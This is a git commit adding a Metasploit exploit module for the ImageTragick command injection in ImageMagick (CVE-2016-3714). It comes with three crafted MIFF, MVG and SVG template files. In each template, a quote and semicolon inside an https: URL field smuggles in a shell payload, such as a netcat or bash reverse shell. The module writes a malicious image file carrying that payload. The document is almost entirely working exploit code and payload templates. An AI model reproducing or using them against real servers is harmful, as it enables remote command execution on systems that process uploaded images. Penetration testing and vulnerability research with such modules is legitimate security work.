Add ImageMagick exploit

bug/bundler_fix
William Vu 2016-05-03 16:43:16 -05:00
parent 891a788ad4
commit 5c04db7a09
4 changed files with 100 additions and 0 deletions

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id=ImageMagick version=1.0
class=DirectClass colors=0 matte=False
columns=1 rows=1 depth=16
colorspace=sRGB
page=1x1+0+0
rendering-intent=Perceptual
gamma=0.454545
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
white-point=0.3127,0.329
date:create=2016-05-04T00:19:42-05:00
date:modify=2016-05-04T00:19:42-05:00
label={";Lorem ipsum"}
:ÿÿÿÿÿÿ

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push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 'url(https:";Lorem ipsum")'
pop graphic-context
pop graphic-context

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<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1px" height="1px" viewBox="0 0 1 1" enable-background="new 0 0 1 1" xml:space="preserve"> <image id="image0" width="1" height="1" x="0" y="0"
xlink:href="https:&quot;;Lorem ipsum&quot;" />
</svg>

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection in ImageMagick <= 7.0.1-0.
},
'Author' => [
'stewie', # Vulnerability discovery
'Nikolay Ermishkin', # Vulnerability discovery
'wvu', # Metasploit module
'hdm' # Metasploit module
],
'References' => [
%w{CVE 2016-3714},
%w{URL https://imagetragick.com/}
],
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c", # ", ', and \
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat bash-tcp'
}
},
'Targets' => [
['SVG file', template: 'msf.svg'],
['MVG file', template: 'msf.mvg'],
['MIFF file', template: 'msf.miff']
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
))
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
])
end
def exploit
if target.name == 'SVG file'
p = Rex::Text.html_encode(payload.encoded)
else
p = payload.encoded
end
file_create(template.sub('Lorem ipsum', p))
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
))
end
end